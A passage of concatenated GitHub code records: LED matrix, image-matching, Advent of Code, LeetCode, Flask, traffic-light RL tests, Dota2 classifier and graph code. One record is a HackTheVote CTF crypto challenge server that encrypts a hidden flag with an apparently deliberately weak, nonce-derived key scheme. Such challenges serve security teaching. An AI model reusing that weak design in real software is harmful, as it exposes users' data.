k, m in test.items())\n print(f\"Total train messages: {train_total_len}, total test messages: {test_total_len}\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"serge-sotnyk/prj-nlp-2019","sub_path":"students/SergeSotnyk/09-vectors/utils_1551.py","file_name":"utils_1551.py","file_ext":"py","file_size_in_byte":4993,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"26659552757","text":"import board\nimport displayio\nimport framebufferio\nimport rgbmatrix\nimport time\n\nbit_depth_value = 6\nunit_width = 64\nunit_height = 64\nchain_width = 1\nchain_height = 1\nserpentine_value = True\n\nwidth_value = unit_width * chain_width\nheight_value = unit_height * chain_height\n\ndisplayio.release_displays()\n\nmatrix = rgbmatrix.RGBMatrix(\n width=width_value,\n height=height_value,\n bit_depth=bit_depth_value,\n rgb_pins=[board.GP2, board.GP3, board.GP4, board.GP5, board.GP8, board.GP9],\n addr_pins=[board.GP10, board.GP16, board.GP18, board.GP20, board.GP22],\n clock_pin=board.GP11,\n latch_pin=board.GP12,\n output_enable_pin=board.GP13,\n tile=chain_height,\n serpentine=serpentine_value,\n doublebuffer=True,\n)\n\n# https://docs.circuitpython.org/en/latest/shared-bindings/framebufferio/index.html#framebufferio.FramebufferDisplay\nDISPLAY = framebufferio.FramebufferDisplay(matrix, auto_refresh=True, rotation=180)\n\n\nclass RGB_Api:\n def __init__(self):\n # Set image\n self.image1 = \"images/idle-high-frame-1.bmp\"\n self.image2 = \"images/idle-high-frame-2.bmp\"\n\n def static_image(self):\n bitmap1 = displayio.OnDiskBitmap(open(self.image1, \"rb\"))\n bitmap2 = displayio.OnDiskBitmap(open(self.image2, \"rb\"))\n bitmap_display = displayio.TileGrid(\n bitmap1,\n pixel_shader=getattr(bitmap1, 'pixel_shader', displayio.ColorConverter()),\n width=1,\n height=1,\n tile_width=bitmap1.width,\n tile_height=bitmap1.height,\n )\n\n bitmap2_display = displayio.TileGrid(\n bitmap2,\n pixel_shader=getattr(bitmap2, 'pixel_shader', displayio.ColorConverter()),\n width=1,\n height=1,\n tile_width=bitmap2.width,\n tile_height=bitmap2.height,\n )\n group.append(bitmap_display)\n group.append(bitmap2_display)\n\n while True:\n group.pop()\n DISPLAY.show(group)\n DISPLAY.refresh()\n time.sleep(0.5)\n group.append(bitmap2_display)\n DISPLAY.show(group)\n DISPLAY.refresh()\n time.sleep(0.5)\n #\n pass\n\n\nif __name__ == \"__main__\":\n RGB = RGB_Api()\n group = displayio.Group()\n RGB.static_image()\n","repo_name":"XinyuTian/lovebot","sub_path":"resources/image_alternation.py","file_name":"image_alternation.py","file_ext":"py","file_size_in_byte":2364,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"1229479118","text":"'''Create a pairwise score between a single image and a series of images in a directory'''\n\nimport matplotlib\nmatplotlib.use('agg')\nimport numpy as np\nimport cv2\nimport argparse\nimport os\nimport sys\n\nparser = argparse.ArgumentParser(description=\"Calculate a distance matrix between a single image and a folder of other images\")\nparser.add_argument('-b', '--base', help=\"The original image\", required=True)\nparser.add_argument('-d', '--dir', help=\"The directory of images\", required=True)\nparser.add_argument('-r', '--ratio', help=\"Maximum ratio between two key points (default=0.7)\", default=0.7, type=int)\nargs=parser.parse_args()\n\n# Initiate SIFT detector\nsift = cv2.SIFT()\n\nimg1 = cv2.imread(args.base)\n# find the keypoints and descriptors with SIFT\nkp1, des1 = sift.detectAndCompute(img1,None)\n\nfor imfile in os.listdir(args.dir):\n sys.stderr.write(\"Reading \" + imfile + \"\\n\")\n img2 = cv2.imread(os.path.sep.join([args.dir, imfile]), 0)\n\n # find the keypoints and descriptors with SIFT\n kp2, des2 = sift.detectAndCompute(img2,None)\n\n # FLANN parameters\n sys.stderr.write(\"Flanning\\n\")\n FLANN_INDEX_KDTREE = 0\n index_params = dict(algorithm = FLANN_INDEX_KDTREE, trees = 5)\n search_params = dict(checks=50) # or pass empty dictionary\n\n sys.stderr.write(\"Flan matching\\n\")\n flann = cv2.FlannBasedMatcher(index_params,search_params)\n\n matches = flann.knnMatch(des1,des2,k=2)\n\n # Need to keep only good matches, so create a mask\n matchesMask = [[0,0] for i in xrange(len(matches))]\n\n sys.stderr.write(\"Ratioing\\n\")\n # ratio test as per Lowe's paper\n dist=0\n for i,(m,n) in enumerate(matches):\n if m.distance < args.ratio*n.distance:\n dist+=1\n\n print(\"\\t\".join([args.base, imfile, str(dist)]))\n\n\n\n","repo_name":"linsalrob/depth-profile-video-processing","sub_path":"pairwiseScoreDir.py","file_name":"pairwiseScoreDir.py","file_ext":"py","file_size_in_byte":1773,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"16565758225","text":"import secrets\nimport socketserver\nimport string\n\nfrom cryptography.hazmat.backends import default_backend\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.ciphers.aead import AESGCM\nfrom cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC\n\n\nPLAINTEXTS = [\n b\"Sandra R. Jackson;reg2;1728 Goldie Lane\",\n b\"Leo N. Shatley;reg1;2251 Sunburst Drive\",\n b\"Faye S. Ramsey;reg2;3186 Froebre Street\",\n b\"Charles C. Felix;reg3;2726 Locust Court\",\n]\n\n\nwith open(\"flag.txt\", \"rb\") as f:\n PLAINTEXTS.append(f.read().strip())\n\n\ndef challenge(ioin, ioout):\n ioout.write(b\"hello\\n\")\n key = secrets.token_bytes(nbytes=None)\n salt = secrets.token_bytes(nbytes=16)\n aesgcm = AESGCM(key)\n attempted_nonces = list()\n for attempt in range(len(PLAINTEXTS)):\n nonce = ioin.readline().strip()\n if (\n len(nonce) < 10\n or len(nonce) > 100\n or nonce in attempted_nonces\n or not all([c in string.printable.encode() for c in nonce])\n ):\n ioout.write(b\"no\\n\")\n return\n attempted_nonces.append(nonce)\n ioout.write(\n aesgcm.encrypt(\n PBKDF2HMAC(\n algorithm=hashes.MD5(),\n length=32,\n salt=salt,\n iterations=100000,\n backend=default_backend(),\n ).derive(nonce),\n secrets.choice(PLAINTEXTS),\n None,\n )\n .hex()\n .encode()\n + b\"\\n\"\n )\n\n\nclass MyTCPHandler(socketserver.StreamRequestHandler):\n\n timeout = 5 * 60\n\n def server_bind(self):\n self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n self.socket.bind(self.server_address)\n\n def handle(self):\n challenge(self.rfile, self.wfile)\n\n\nif __name__ == \"__main__\":\n import sys\n\n if len(sys.argv) == 1:\n print(\"run with either stdin or socket\")\n exit(1)\n if sys.argv[1] == \"stdin\":\n challenge(sys.stdin.buffer, sys.stdout.buffer)\n elif sys.argv[1] == \"socket\":\n with socketserver.ThreadingTCPServer((\"0.0.0.0\", 50007), MyTCPHandler) as server:\n server.serve_forever()\n","repo_name":"RPISEC/HackTheVote","sub_path":"2020/crypto/regdb/src/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":2268,"program_lang":"python","lang":"en","doc_type":"code","stars":216,"dataset":"github-code","pt":"48"} +{"seq_id":"4763267551","text":"#######################\n# Stephen Boyett\n# Advent of Code\n# Day 6, Part 2\n# 12/25/2020\n########################\n\nwith open(\"day6_input\", \"r\") as f:\n\tgroups = f.read().split(\"\\n\\n\")\ncount = 0\nfor group in groups:\n\tpeople = group.splitlines()\n\tfor v in range(97, 123):\n\t\tif all(chr(v) in person for person in people):\n\t\t\tcount += 1\n\nprint(count)\n\n","repo_name":"sboyett31/AdventOfCode2020","sub_path":"Day6/day6_2.py","file_name":"day6_2.py","file_ext":"py","file_size_in_byte":345,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"42879093433","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution:\n def removeNthFromEnd(self, head: Optional[ListNode], n: int) -> Optional[ListNode]:\n ptr1=head\n ptr2=head\n while n-1!=0:\n ptr1=ptr1.next\n n-=1\n if ptr1.next is None:\n return head.next\n while ptr1.next is not None:\n ptr1=ptr1.next\n prev=ptr2\n ptr2=ptr2.next\n if prev is not None:\n prev.next=ptr2.next\n return head","repo_name":"bhargaw1997/Programming","sub_path":"19-remove-nth-node-from-end-of-list/19-remove-nth-node-from-end-of-list.py","file_name":"19-remove-nth-node-from-end-of-list.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"28107238129","text":"\"\"\"\nTests for Presslight and Thesis implementations on single traffic light 1x1 grid light network.\n\nConsider a network with the following configuration with the following edges:\n\n ie.\n |\n route2\n |\n |\n |\n |\n -> --route1---------|----------route1outgoing--->\n |\n |\n | \n route2_outgoing\n |\n \n \n Distances/Measurements from the center of a node in the x y direction in meters defined as follows \n 240\n |\n |\n |\n |\n |\n 0\n __\n >240 ---------0 | center | 0 -------------240>\n __\n 0\n |\n |\n |\n |\n |\n 240\n\n\nVehicles on the network are placed in the following manner:\n\n |\n |\n veh_4\n |\n |\n -> ---------veh_3---|---veh_1----veh_2---->\n |\n |\n veh_5\n |\n\nThe positions of specified vehicle in meters:\n\n |\n |\n 40\n |\n |\n -> ----------40-----|---50----99---->\n |\n |\n 40\n |\n\n\nThe speeds, accelerations, waiting time, of specified vehicles:\n\n Waiting times (sec):\n \"veh_1\" = 1\n veh_2\" = 2\n \"veh_3\" = 3\n \"veh_4\" = 4\n \"veh_5\" = 5\n \n Speeds (m/s):\n \"veh_1\" = 5\n veh_2\" = 10\n \"veh_3\" = 15\n \"veh_4\" = 20\n \"veh_5\" = 25\n \n \n Accelerations (m/s^2):\n \"veh_1\" = 0\n veh_2\" = 1\n \"veh_3\" = 2\n \"veh_4\" = 3\n \"veh_5\" = 4\n \n Allowable speed = 30m/s\n MaxSpeed = 26m/s\n\n\"\"\"\n\nimport unittest\nfrom flow.core.traffic_light_utils import get_light_states, \\\n get_observed_ids, get_edge_params, get_internal_edges, get_outgoing_edge\nfrom flow.envs.presslight import PressureLightGridEnv\nfrom flow.envs.thesis import ThesisLightGridEnv\nfrom collections import defaultdict\nimport numpy as np\n\n\nclass Network:\n \"\"\"Create network class to have network configuration\"\"\"\n\n rts = defaultdict(list)\n rts[\"route1\"] = [([\"route1\", \"route1_outgoing\"], 1)]\n rts[\"route2\"] = [([\"route2\", \"route2_outgoing\"], 1)]\n node_mapping = [('center0', [\"route1\", \"route2\"])]\n\n def edge_length(self, edge):\n \"\"\"Return length of specified edge\"\"\"\n return 240\n\n def get_edge_list(self):\n \"\"\"Return edge edge name in list\"\"\"\n return [\"route1\", \"route1_outgoing\", \"route2\", \"route2_outgoing\"]\n\n\nclass Trafficlight:\n \"\"\"Create Trafficlight class to have light states\"\"\"\n\n states = {\"center0\": \"GrGr\"}\n\n def get_state(self, rl_id):\n \"\"\"\"Return Traffic lights State\"\"\"\n return self.states[rl_id]\n\n\nclass BenchmarkParams:\n \"\"\"Create benchmark parameter class\"\"\"\n look_ahead = 100\n CYAN = None\n RED = None\n\n\nclass Vehicle:\n \"\"\"Create vehicle class to have properties of alln vehicles\"\"\"\n\n def getWaitingTime(self, id):\n \"\"\"Return waiting times for specified vehicle\"\"\"\n\n if id == \"veh_1\":\n return 1\n elif id == \"veh_2\":\n return 2\n elif id == \"veh_3\":\n return 3\n elif id == \"veh_4\":\n return 4\n elif id == \"veh_5\":\n return 5\n\n def getSpeed(self, id):\n \"\"\"Return Speeds for specified vehicle\"\"\"\n\n if id == \"veh_1\":\n return 5\n elif id == \"veh_2\":\n return 10\n elif id == \"veh_3\":\n return 15\n elif id == \"veh_4\":\n return 20\n elif id == \"veh_5\":\n return 25\n\n def getMaxSpeed(self, id):\n \"\"\"Return maximum speeds for specified vehicle\"\"\"\n return 26\n\n def getAcceleration(self, id):\n \"\"\"Return accelerations for specified vehicle\"\"\"\n\n if id == \"veh_1\":\n return 0\n elif id == \"veh_2\":\n return 1\n elif id == \"veh_3\":\n return 2\n elif id == \"veh_4\":\n return 3\n elif id == \"veh_5\":\n return 4\n\n def getAllowedSpeed(self, id):\n \"\"\"Return allowable speed for specified vehicle\"\"\"\n return 30\n\n def get_ids_by_edge(self, edge):\n \"\"\"Return vehciles located on specified\"\"\"\n\n if edge == \"route1_outgoing\":\n return [\"veh_1\", \"veh_2\"]\n\n elif edge == \"route1\":\n return [\"veh_3\"]\n\n elif edge == \"route2_outgoing\":\n return ['veh_5']\n\n elif edge == \"route2\":\n return [\"veh_4\"]\n\n def get_position(self, id):\n \"\"\"Return position on edge for specified vehicle\n\n\n Note: SUMO's geometry is structured in the manner below;\n\n 0\n |\n |\n |\n |\n |\n 240\n __\n >0 ---------240 | center | 0 -------------240>\n __\n 0\n |\n |\n |\n |\n |\n 240\n\n Therefore, to get the actual position of the vehicles, we need to subtract the relative distance\n for some vehicles to the node from the total distance of the edge:\n ie: Nothboud and Westbound\n\n Therefore; |\n |\n 40\n |\n |\n -> ----------40-----|---50----99---->\n |\n |\n 40\n |\n\n ends up being;\n |\n |\n 240 - 40 = 200\n |\n |\n -> --240 - 40 = 200-----|---50----99---->\n |\n |\n 240 - 40 = 200\n |\n\n and thus, finally;\n |\n |\n 200\n |\n |\n -> ---------200-----|---50----99---->\n |\n |\n 200\n |\n\n\n \"\"\"\n\n if id == \"veh_1\":\n return 50\n elif id == \"veh_2\":\n return 99\n elif id == \"veh_3\":\n return 240-40\n elif id == \"veh_4\":\n return 240-40\n elif id == \"veh_5\":\n return 240-40\n\n def get_edge(self, id):\n \"\"\"Return edge where specified vehicle is located\"\"\"\n\n if id == \"veh_1\":\n return \"route1_outgoing\"\n elif id == \"veh_2\":\n return \"route1_outgoing\"\n elif id == \"veh_3\":\n return \"route1\"\n elif id == \"veh_4\":\n return \"route2\"\n elif id == \"veh_5\":\n return \"route2_outgoing\"\n\n def set_color(self, veh_id, color):\n pass\n\n\nclass kernel_api:\n \"\"\"Create kernel api class for vehicle value retrieval\"\"\"\n vehicle = Vehicle()\n\n\nclass Kernel:\n \"\"\"Create kernel api class for vehicle, network and traffic light value retrieval\"\"\"\n network = Network()\n traffic_light = Trafficlight()\n vehicle = Vehicle()\n kernel_api = kernel_api()\n rows = 1\n cols = 1\n\n def get_relative_node(self, agent_id, direction):\n\n \"\"\"code implementation is found in\n flow/flow/envs/traffic_light_grid.py\n\n Yield node number of traffic light agent in a given direction.\n\n For example, the nodes in a traffic light grid with 2 rows and 3\n columns are indexed as follows:\n\n | | |\n --- 3 --- 4 --- 5 ---\n | | |\n --- 0 --- 1 --- 2 ---\n | | |\n\n See flow.networks.traffic_light_grid for more information.\n\n Example of function usage:\n - Seeking the \"top\" direction to \":center0\" would return 3.\n - Seeking the \"bottom\" direction to \":center0\" would return -1.\n\n Parameters\n ----------\n agent_id : str\n agent id of the form \":center#\"\n direction : str\n top, bottom, left, right\n\n Returns\n -------\n int\n node number\n \"\"\"\n ID_IDX = 1\n agent_id_num = int(agent_id.split(\"center\")[ID_IDX])\n if direction == \"top\":\n node = agent_id_num + self.cols\n if node >= self.cols * self.rows:\n node = -1\n elif direction == \"bottom\":\n node = agent_id_num - self.cols\n if node < 0:\n node = -1\n elif direction == \"left\":\n if agent_id_num % self.cols == 0:\n node = -1\n else:\n node = agent_id_num - 1\n elif direction == \"right\":\n if agent_id_num % self.cols == self.cols - 1:\n node = -1\n else:\n node = agent_id_num + 1\n else:\n raise NotImplementedError\n\n return node\n\n\nclass TestEnv(unittest.TestCase):\n \"\"\"Tests for presslight and thesis methods given configured network\"\"\"\n\n # initialize kernel class\n kernel_ = Kernel()\n\n def test_get_internal_edges(self):\n \"\"\"Tests get_internal_edges method\"\"\"\n expected_value = []\n internal_edges = get_internal_edges(self.kernel_)\n self.assertEquals(internal_edges, expected_value)\n\n def test_get_outgoing_edge(self):\n \"\"\"Tests get_outgoing_edge method\"\"\"\n expected_value1 = \"route1_outgoing\"\n expected_value2 = \"route2_outgoing\"\n\n internal_edges = []\n result_1 = get_outgoing_edge(self.kernel_, \"route1\", internal_edges)\n result_2 = get_outgoing_edge(self.kernel_, \"route2\", internal_edges)\n self.assertEquals(result_1, expected_value1)\n self.assertEquals(result_2, expected_value2)\n\n def test_get_light_states(self):\n \"\"\"Tests get_light_states method\"\"\"\n expected_value = [1]\n\n tl_state_1 = get_light_states(self.kernel_, \"center0\")\n self.assertEquals(tl_state_1, expected_value)\n\n def test_get_observed_ids(self):\n \"\"\"Tests get_observed_ids method\"\"\"\n expected_value1 = (['veh_3'], ['veh_1', \"veh_2\"])\n expected_value2 = (['veh_4'], [])\n\n id_1 = get_observed_ids(self.kernel_, \"route1\", \"route1_outgoing\", BenchmarkParams())\n id_2 = get_observed_ids(self.kernel_, \"route2\", \"route2_outgoing\", BenchmarkParams())\n self.assertEquals(id_1, expected_value1)\n self.assertEquals(id_2, expected_value2)\n\n def test_get_edge_params(self):\n \"\"\"Tests get_edge_params method\"\"\"\n\n # edges observed vehicles\n expected_value1 = [\"route1\", \"route2\"]\n\n # index of nodes in node list (Network.get_edge_list)\n expected_value2 = [0, 2]\n\n # node_ids: center0 = 0, center2 = 2\n # [node_id, adjacent nodes ..]\n # [center0, top node, bottom node, left node, right node]\n # [0, -1, -1, -1, -1] = if there's no adjacent node, return -1\n expected_value3 = [0, -1, -1, -1, -1]\n\n incoming_edges, local_edge_numbers, local_id_nums = \\\n get_edge_params(rl_id=\"center0\",\n network=self.kernel_.network,\n kernel=self.kernel_,\n _get_relative_node=self.kernel_.get_relative_node)\n self.assertEquals(incoming_edges, expected_value1)\n self.assertEquals(local_edge_numbers, expected_value2)\n self.assertEquals(local_id_nums, expected_value3)\n\n def test_get_state_pressure(self):\n \"\"\"Tests get_state method for pressure benchmark\n direction = array => [current node, \"center0\"\n top adjacent node,\n bottom adjacent node,\n left adjacent node,\n right adjacent node]\n Note: each value 0 if cars are flowing in the NS direction and 0 if flowing in the EW direction\n current node is GrGr therefore = 0\n\n Note that we have no adjacent nodes so all adjacent nodes default to 0:\n top and bottom node direction = 0\n left and right node direction = 0\n\n\n\n see: flow/envs/traffic_light_grid.py\n\n\n There are two pressures for each of the two incoming segments.\n The first pressure is on E-W direction. There is 1 incoming and 2 outgoing vehicles\n within the look-ahead distance, so the pressure is 1 - 2 = -1\n\n The second pressure is N-W direction. There is 1 incoming and 0 vehicles within the look-ahead distance,\n thus the total pressure is 1-0=1\n\n Thus, the reward = -sum(pressure) = -(-1+1) = 0\n\n [self.edge_pressure_dict[rl_id], = [1-2 ,1]\n local_edge_numbers, = [0,2]\n direction[rl_id], [0]\n light_states_= [1]\n ]))\n \"\"\"\n expected_value = np.array([-1, 1, # pressure for observed vehicles on edges\n 0, 2, # index of nodes with vehicles in node list (Network.get_edge_list)\n 0, # current node direction\n 1]) # traffic light states GrGr\n\n experiment = PressureLightGridEnv(BenchmarkParams())\n observation = experiment.get_state(kernel=self.kernel_,\n network=self.kernel_.network,\n _get_relative_node=self.kernel_.get_relative_node,\n direction=np.array([0]),\n step_counter=1,\n rl_id=\"center0\")\n\n np.testing.assert_array_equal(observation, expected_value)\n\n def test_compute_reward_pressure(self):\n \"\"\"Tests compute_reward method for pressure benchmark\"\"\"\n\n # total pressure (-1+1) = 0\n expected_value = 0\n\n experiment = PressureLightGridEnv(BenchmarkParams())\n experiment.get_state(kernel=self.kernel_,\n network=self.kernel_.network,\n _get_relative_node=self.kernel_.get_relative_node,\n direction=np.array([0]),\n step_counter=1,\n rl_id=\"center0\")\n reward = experiment.compute_reward(step_counter=0, rl_id=\"center0\")\n self.assertEquals(reward, expected_value)\n\n def test_get_state_thesis(self):\n \"\"\"Tests get_state method for thesis benchmark\n\n Considering vehicle length = 5m, look-ahead = 100m\n cars in scope = math.floor(100 / 5) x 2 lanes = 40\n\n 40 is the number of vehicles that can be observed given the look ahead distance of 100.\n To keep the observation space static, we set unobserved vehicle values as zeros (placeholders)\n\n In this example, only incoming two vehicles are observed in the NS and EW directions\n ie. veh_3 and veh_4\n\n \"\"\"\n\n # placeholders\n veh_positions = np.zeros(40)\n relative_speeds = np.zeros(40)\n accelerations = np.zeros(40)\n\n # [200, 200, 0, 0....] position for observed first two observed vehicles,\n # 0 (placeholders) for all non observed vehicles\n veh_positions[0:2] = 200\n\n # observed relative speeds for each observed vehicle (speed/max_speed)\n relative_speeds[0:2] = [15 / 26, 20 / 26]\n\n # observed accelarations for each observed vehicle\n accelerations[0:2] = [2, 3]\n expected_value = np.array(np.concatenate(\n [veh_positions,\n relative_speeds,\n accelerations,\n [0, 2], # index of nodes with vehicles in node list (Network.get_edge_list)\n [0], # current node direction\n [1]])) # traffic light states GrGr\n\n experiment = ThesisLightGridEnv(BenchmarkParams())\n experiment.num_local_lanes = 2 # local lanes\n observation = experiment.get_state(kernel=self.kernel_,\n network=self.kernel_.network,\n _get_relative_node=self.kernel_.get_relative_node,\n direction=np.array([0]),\n step_counter=1,\n rl_id=\"center0\")\n np.testing.assert_array_equal(observation, expected_value)\n\n def test_compute_reward_thesis(self):\n \"\"\"Tests compute_reward method for thesis benchmark\"\"\"\n\n # 4 secs + 3 secs for observed incoming vehicles\n waiting_times = 7\n num_of_emergency_stops = 0\n\n # sum (maximum allowable speed - current speed) for all observed vehicles\n delays = 30 - 15 + 30 - 20\n expected_reward = - (0.1 * 0 +\n 0.2 * num_of_emergency_stops +\n 0.3 * delays +\n 0.3 * waiting_times / 60)\n\n experiment = ThesisLightGridEnv(BenchmarkParams())\n experiment.get_state(kernel=self.kernel_,\n network=self.kernel_.network,\n _get_relative_node=self.kernel_.get_relative_node,\n direction=np.array([0]),\n step_counter=1,\n rl_id=\"center0\")\n\n reward = experiment.compute_reward(step_counter=1, rl_id=\"center0\")\n self.assertEquals(reward, expected_reward)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"googleinterns/spacetime-sim-2020","sub_path":"Gilbert_code/tests/traffic_light_utils_tests.py","file_name":"traffic_light_utils_tests.py","file_ext":"py","file_size_in_byte":18858,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"1996656291","text":"# -*- coding: utf-8 -*-\n\"\"\"\nSolution for the Dota2 challenge. See readme.\n\"\"\"\n\nimport numpy\nfrom sklearn import ensemble\nfrom sklearn import cross_validation\nimport os\n\n\n# first step: create a hash map/dictionary of all characters\nencounternr=0\nchardict={}\nf = open(os.path.join(os.getcwd(), 'trainingdata.txt'), 'r')\nfor line in f:\n chars=line.split(',')\n for chnr in xrange(0,size(chars)-1):\n ch=chars[chnr]\n # if already known ignore, otherwise put in dictionary\n if not chardict.has_key(ch):\n chardict[ch] = encounternr\n encounternr+=1\n\n\nf.close()\n\n\n# second step: read data and write them to feature vectors\nfvecsize=len(chardict.keys())\nX = numpy.zeros(shape=([14926,fvecsize*2])) # do wc -l trainingdata.txt\ny = numpy.zeros(shape=([14926,1]))\nlinenr=0\nf = open(os.path.join(os.getcwd(), 'trainingdata.txt'), 'r')\nfor line in f:\n chars=line.split(',')\n for chnr in xrange(0,size(chars)-1):\n # now distinguish: <=4 or higher\n ch=chars[chnr]\n X[linenr,chardict[ch]+((chnr<=4)*fvecsize)]=1\n\n y[linenr]=int(chars[-1]) # result: int(chars[-1])\n linenr+=1\n\n\ny2=numpy.ravel(y-1)\n\n# third step: classifier\nclf = ensemble.RandomForestClassifier(n_estimators=100,max_features=None,min_samples_leaf=2)\nclf.fit(X, y2)\nclf.score(X,y2)\n# 0.98433333333333328\n\n\n\n# last step: test data\nX_test = numpy.zeros(shape=([74,fvecsize*2]))\ny_test = numpy.zeros(shape=([74,1]))\nlinenr=0\nf = open(os.path.join(os.getcwd(), 'testdata.txt'), 'r')\nfor line in f:\n chars=line.split(',')\n for chnr in xrange(0,size(chars)-1):\n # now distinguish: <=4 or higher\n ch=chars[chnr]\n X_test[linenr,chardict[ch]+((chnr<=4)*fvecsize)]=1\n \n y_test[linenr]=int(chars[-1]) # result: int(chars[-1])\n linenr+=1\n\n\ny_test=numpy.ravel(y_test-1)\n\ny_test_spec=clf.predict(X_test)\nprint(sum(y_test_spec==y_test)/size(y_test))\n#0.51351351351351349\n\n\n\n","repo_name":"benman1/dota2-challenge","sub_path":"solve_dota.py","file_name":"solve_dota.py","file_ext":"py","file_size_in_byte":1927,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"15221226361","text":"#!/usr/bin/python3\n\"\"\"module for flask app\"\"\"\nfrom api.views import app_views\nfrom api.views import html_views\nfrom api.views.documentation.swagger_setup import *\nimport os\nfrom flask import Flask, Blueprint, jsonify\nfrom flask_cors import CORS\nfrom flasgger import LazyJSONEncoder, Swagger\n\napp = Flask(__name__, static_folder='../family-day-out/build/static', template_folder='../family-day-out/build')\napp.register_blueprint(app_views)\napp.register_blueprint(html_views)\ncors = CORS(app, resources={r\"/api/*\": {\"origins\": \"*\"}})\ncorsInstance = CORS(app)\napp.config['CORS_HEADERS'] = 'Content-Type'\napp.json_encoder = LazyJSONEncoder\nswagger = Swagger(app,\n template=swagger_template, \n config=swagger_config)\n\n\n@app.errorhandler(404)\ndef errorHandler(error):\n \"\"\"returns a 404 error msg\"\"\"\n return jsonify(error='Page Not found'), 404\n\n\nif __name__ == '__main__':\n app.run(host=os.getenv('FLASK_HOST') or '0.0.0.0',\n port=os.getenv('FLASK_PORT') or '5006',\n debug=os.getenv('FLASK_DEBUG') or False,\n threaded=True)","repo_name":"Matthew-brinkmann/Family_day_out_planner","sub_path":"api/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1105,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"35603617152","text":"import torch\r\nfrom math import sqrt\r\nimport numpy as np\r\nfrom torch_geometric.data import Data\r\nfrom scipy.spatial.distance import pdist\r\nimport copy\r\n\r\ndef KNN_classify(k,X_set,x):\r\n \"\"\"\r\n k:number of neighbours\r\n X_set: the datset of x\r\n x: to find the nearest neighbor of data x\r\n \"\"\"\r\n\r\n distances = [sqrt(np.sum((x_compare-x)**2)) for x_compare in X_set]\r\n nearest = np.argsort(distances)\r\n node_index = [i for i in nearest[1:k+1]]\r\n topK_x = [X_set[i] for i in nearest[1:k+1]]\r\n return node_index,topK_x\r\n\r\n\r\ndef KNN_weigt(x,topK_x):\r\n distance = []\r\n v_1 = x\r\n data_2 = topK_x\r\n for i in range(len(data_2)):\r\n v_2 = data_2[i]\r\n combine = np.vstack([v_1, v_2])\r\n likely = pdist(combine, 'euclidean')\r\n distance.append(likely[0])\r\n beata = np.mean(distance)\r\n w = np.exp((-(np.array(distance)) ** 2) / (2 * (beata ** 2)))\r\n return w\r\n\r\n\r\ndef KNN_attr(data):\r\n '''\r\n for KNNgraph\r\n :param data:\r\n :return:\r\n '''\r\n edge_raw0 = []\r\n edge_raw1 = []\r\n edge_fea = []\r\n for i in range(len(data)):\r\n x = data[i]\r\n node_index, topK_x= KNN_classify(5,data,x)\r\n loal_weigt = KNN_weigt(x,topK_x)\r\n local_index = np.zeros(5)+i\r\n\r\n edge_raw0 = np.hstack((edge_raw0,local_index))\r\n edge_raw1 = np.hstack((edge_raw1,node_index))\r\n edge_fea = np.hstack((edge_fea,loal_weigt))\r\n\r\n edge_index = [edge_raw0, edge_raw1]\r\n\r\n return edge_index, edge_fea\r\n\r\n\r\n\r\ndef cal_sim(data,s1,s2):\r\n edge_index = [[],[]]\r\n edge_feature = []\r\n if s1 != s2:\r\n v_1 = data[s1]\r\n v_2 = data[s2]\r\n combine = np.vstack([v_1, v_2])\r\n likely = 1- pdist(combine, 'cosine')\r\n# w = np.exp((-(likely[0]) ** 2) / 30)\r\n if likely.item() >= 0:\r\n w = 1\r\n edge_index[0].append(s1)\r\n edge_index[1].append(s2)\r\n edge_feature.append(w)\r\n return edge_index,edge_feature\r\n\r\n\r\n\r\ndef Radius_attr(data):\r\n '''\r\n for RadiusGraph\r\n :param feature:\r\n :return:\r\n '''\r\n s1 = range(len(data))\r\n s2 = copy.deepcopy(s1)\r\n edge_index = np.array([[], []]) # 一个故障样本与其他故障样本匹配生成一次图\r\n edge_fe = []\r\n for i in s1:\r\n for j in s2:\r\n local_edge, w = cal_sim(data, i, j)\r\n edge_index = np.hstack((edge_index, local_edge))\r\n if any(w):\r\n edge_fe.append(w[0])\r\n return edge_index,edge_fe\r\n\r\n\r\ndef Path_attr(data):\r\n\r\n node_edge = [[], []]\r\n\r\n for i in range(len(data) - 1):\r\n node_edge[0].append(i)\r\n node_edge[1].append(i + 1)\r\n\r\n distance = []\r\n for j in range(len(data) - 1):\r\n v_1 = data[j]\r\n v_2 = data[j + 1]\r\n combine = np.vstack([v_1, v_2])\r\n likely = pdist(combine, 'euclidean')\r\n distance.append(likely[0])\r\n\r\n beata = np.mean(distance)\r\n w = np.exp((-(np.array(distance)) ** 2) / (2 * (beata ** 2))) #Gussion kernel高斯核\r\n\r\n return node_edge, w\r\n\r\n\r\ndef Gen_graph(graphType, data, label,task):\r\n data_list = []\r\n if graphType == 'KNNGraph':\r\n for i in range(len(data)):\r\n graph_feature = data[i]\r\n if task == 'Node':\r\n labels = np.zeros(len(graph_feature)) + label\r\n elif task == 'Graph':\r\n labels = [label]\r\n else:\r\n print(\"There is no such task!!\")\r\n node_edge, w = KNN_attr(data[i])\r\n node_features = torch.tensor(graph_feature, dtype=torch.float)\r\n graph_label = torch.tensor(labels, dtype=torch.long) # 获得图标签\r\n edge_index = torch.tensor(node_edge, dtype=torch.long)\r\n edge_features = torch.tensor(w, dtype=torch.float)\r\n graph = Data(x=node_features, y=graph_label, 